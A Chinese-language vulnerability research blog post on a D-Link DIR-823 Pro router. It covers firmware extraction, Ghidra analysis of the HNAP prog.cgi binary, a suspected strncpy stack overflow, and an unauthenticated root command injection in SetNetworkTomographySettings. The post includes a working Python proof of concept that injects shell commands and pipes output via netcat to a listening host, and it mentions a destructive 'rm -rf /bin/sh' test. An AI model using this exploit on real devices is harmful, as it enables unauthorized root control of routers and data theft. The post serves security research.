对D-link DIR823pro路由器的漏洞挖掘

尝试挖掘漏洞

Posted by X1ng on March 8, 2021

感觉iot设备的漏洞比较常见的就是溢出和命令注入了,找了一个网上没有找到相关资料的DIR-823 pro路由器测试

记录关于DIR-823 pro路由器上无交互RCE的漏洞挖掘过程

17年的固件也是年久失修了,就当作挖掘路由器设备漏洞的练手吧

固件获取

从官网获取固件

从固件名称来看,应该是对openwrt进行二次开发而成的固件

解压文件系统

用binwalk直接解压

binwalk -Me page_openwrt-mtk-sysupgrade-86382-201710141034.bin

就可以得到文件系统了

固件分析

攻击面分析

使用nmap对其开放的端口进行扫描

这里优先选择了比较熟悉的http服务

查找可能存在漏洞的文件

经过查阅资料,openwrt启动时,会运行/etc/init.d/下的脚本

ls ./etc/init.d/

找到与http服务有关的lighttpd文件

cat ./etc/init.d/lighttpd

可以看到起配置文件路径是/etc/lighttpd/lighttpd.conf

cat ./etc/lighttpd/lighttpd.conf

找到一个比较可疑的文件/www/web/HNAP1/prog.fcgi

file ./www/web/HNAP1/prog.fcgi

是指向/usr/sbin/prog.cgi的软链接

file ./usr/sbin/prog.cgi

分析可能存在漏洞的文件

由于过于贫穷,不能使用IDA pro 7.5,选择ghidra对文件进行逆向分析

经过分析,该程序的整体逻辑应该是

  1. 先给特定的接口注册相应的处理函数

  2. 从环境变量中获取用户报文的字符串

  3. 之后就是对报文的一些分析处理

可能存在的栈溢出漏洞

在main函数中发现了一个可能存在的栈溢出漏洞

其具体逻辑是,从环境变量中获取HTTP_SOAPACTION这一变量的值,将字符串存到某结构体中

在之后对这一字符串进行处理的过程中,使用strncpy来进行字符串复制

strcpystrncpy都是字符串操作中比较容易出现漏洞的地方,其作用都是将源字符串复制到目标地址

  1. 如果strcpy函数的源字符串可被攻击者控制并且没有长度限制,就可能出现源字符串的长度大于目前栈帧的长度的情况,造成栈溢出
  2. strncpy函数对字符串复制的长度进行了限制,其第三个参数用来表示字符串复制的长度,但是如果第三个参数为源字符串的长度,其实就相当于strcpy,可能造成栈溢出

而此处对字符串的处理就是使用strstr函数来获取源字符串的起始地址(http://purenetworks.com之后的字符串地址)与结束地址(下一次出现"的地址),然后将两者的差作为strncpy第三个参数

也就是上述的第二种情况

但是作为一个cgi文件,prog.cgi通过环境变量来获取报文,其他地方有没有对此处的字符串长度进行限制就不得而知了

为了测试这里是否真的存在栈溢出漏洞

  • 首先尝试发送超长的字符串进行测试

    在程序发生栈溢出时有两种情况

    1. 程序无守护进程,栈溢出后直接崩溃,也就是发送的报文无返回,并且web服务就无法访问了
    2. 程序存在守护进程,栈溢出后仍然可以正常访问web服务

    发现在长度达到一定程度的时候会返回500状态码,而没有直接崩溃

    https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Status/500

    在 HTTP 协议中,500 Internal Server Error 是表示服务器端错误的响应状态码,意味着所请求的服务器遇到意外的情况并阻止其执行请求。

    这个错误代码是一个通用的“万能”响应代码。有时候,对于类似于 500 这样的错误,服务器管理员会更加详细地记录相关的请求信息来防止以后同样错误的出现。

  • 然后尝试qemu搭建一个虚拟调试环境,但是经过各种尝试,都无法进行chroot

  • 最后尝试通过uart串口通信获取真机shell环境,但是连接后提示需要用户名密码登陆

最后放弃了这里的探究

命令注入漏洞

在进入路由器web页面时,通过burp suite进行抓包分析

(经过测试,通过GetMultipleHNAPs调用的这些接口都是没有鉴权的,也就是说无需身份验证就可以访问这些接口)

经过对这些接口处理函数的逆向分析,找到了一个比较可疑的函数

FUN_0042a814函数是对SetNetworkTomographySettings接口的处理函数

其功能大概是通过ping命令测试网络连通性,允许用户设置ping命令的参数

这里也就出现了一个比较常见的sprintf+system的漏洞模式

由于攻击者可以控制system参数的内容,并且没有有效的过滤,攻击者可通过发送特制的带有shell元字符的请求利用该漏洞执行任意的操作系统命令

并且经过测试(执行命令rm -rf /bin/sh,路由器成功变板砖了2333),这里的命令应该是以root权限执行的

poc.py:

#python2

import requests

'''
shell:
nc -l -p 8888
'''

#192.168.0.115

def run(cmd = ""):
	posturl = "http://192.168.0.1/HNAP1/"
	posthead = {
	"SOAPACTION": "http://purenetworks.com/HNAP1/GetMultipleHNAPs"
	}
	if cmd != '':
		cmd = ';'+cmd+';'
	print cmd
	getsetting = '{"GetMultipleHNAPs":{"GetNetworkTomographySettings":""}}'
	setsetting = '{"GetMultipleHNAPs":{"SetNetworkTomographySettings":{ "tomography_ping_address": "'+cmd+'", "tomography_ping_number": "6", "tomography_ping_size": "64", "tomography_ping_timeout": "1", "tomography_ping_ttl": "20"}}}'
	
	a= requests.post(posturl, headers = posthead, data = setsetting)
	print a.text

run('ls | nc 192.168.0.115 8888')

需要注意的是,这里的命令是有长度限制的,插入太长的字符串会因为命令字符串不完整执行失败

shell1:

nc -l -p 8888

shell2:

python poc.py